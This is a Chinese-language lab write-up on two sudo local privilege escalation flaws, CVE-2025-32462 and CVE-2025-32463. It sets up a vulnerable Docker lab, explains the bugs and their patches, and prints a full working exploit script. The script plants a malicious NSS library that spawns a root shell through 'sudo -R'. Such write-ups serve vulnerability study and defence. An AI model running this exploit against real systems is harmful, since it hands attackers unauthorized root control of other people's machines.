Linux sudo 本地提权漏洞(CVE-2025-32462、CVE-2025-32463)

环境搭建:

Dockerfile文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive

# 1) 安装基础工具和依赖
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git ca-certificates && \
rm -rf /var/lib/apt/lists/*

# 2) 构建漏洞版本sudo(1.9.16p2)
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && make && make install


# 4) 在sudoers中添加规则(以root身份)
RUN echo "Host_Alias SERVERS = prod.test.local, dev.test.local" >> /etc/sudoers && \
echo "Host_Alias PROD = prod.test.local" >> /etc/sudoers && \
echo "qaxuser SERVERS, !PROD = NOPASSWD:ALL" >> /etc/sudoers

# 5) 创建用户qaxuser
RUN useradd -m -s /bin/bash qaxuser

# 6) 复制PoC并授权
COPY cve-2025-32463.sh /home/qaxuser/cve-2025-32463.sh
RUN chown qaxuser:qaxuser /home/qaxuser/cve-2025-32463.sh

# 7) 切换到qaxuser
USER qaxuser
WORKDIR /home/qaxuser
CMD ["/bin/bash"]

docker build -t cve-2025-32462-32463 .

docker run -it –hostname prod.test.local –rm –privileged cve-2025-32462-32463

漏洞分析:
CVE-2025-32462:

sudo -l (–list):列出当前用户的权限

sudo -h (–host):指定目标主机,官方文档表示-h 只能和-l相连使用

https://github.com/sudo-project/sudo/blob/SUDO_1_9_7/NEWS#L2270

/etc/sudoers 是 Linux 系统中控制 sudo 权限的核心配置文件,其主要功能是定义哪些用户/用户组、在哪些主机上、可以以何种身份执行哪些命令(仅能由 root 权限用户修改)。

以下/etc/sudoers 配置允许qaxuser用户可以在dev.test.local服务器上执行sudo命令,但不能在prod.test.local上执行

本机的hostname为prod.test.local,sudo -l 提示没有权限

sudo -l -h dev.test.local 提示存在权限

但官方的代码match.c中对传入的host,仅判断是否是ALL的hostlist列表中(/etc/sudoers中的配置)。

https://github.com/sudo-project/sudo/blob/v1.9.17/plugins/sudoers/match.c

并且没有限制sudo -h和-l参数的绑定,sudo -h可以和-i,-e等一起使用从产生绕过。

官方补丁在sudoers.c增加了相关判断,如果当前的操作模式不是(-l)或(-C),再比较由 -h 设置的主机名 (ctx->runas.host)和真实的本地主机名 (ctx->user.host)是否一致。

https://github.com/sudo-project/sudo/commit/f8ff956e17c36d44b9465688995821c8d890b451

CVE-2025-32463:

sudo chroot 是 Linux 中结合特权切换(sudo)与根目录隔离(chroot)的功能。其核心在于通过 sudo 获取 root 权限后,调用 chroot 将进程的根目录切换至指定路径,实现文件系统的隔离。

该漏洞源于处理chroot逻辑,在pivot_root()和unpivot_root()这两个调用之间,会触发Name_Service_Switch(NSS)操作,导致系统从不受信任的环境加载/etc/nsswitch.conf配置文件。

nsswitch.conf在检索用户信息时,将首先搜索本地文件 files,然后再搜索 ldap

源的名称也会被用作共享对象(库)路径的一部分。比如下边的的ldap源会转换为libnss_/woot1337.so.2.so。当 NSS 函数使用ldap源时会加载该库。

利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

官方补丁:删除 pivot_root ()和unpivot_root()函数,并且不再调用chroot() 。

漏洞复现: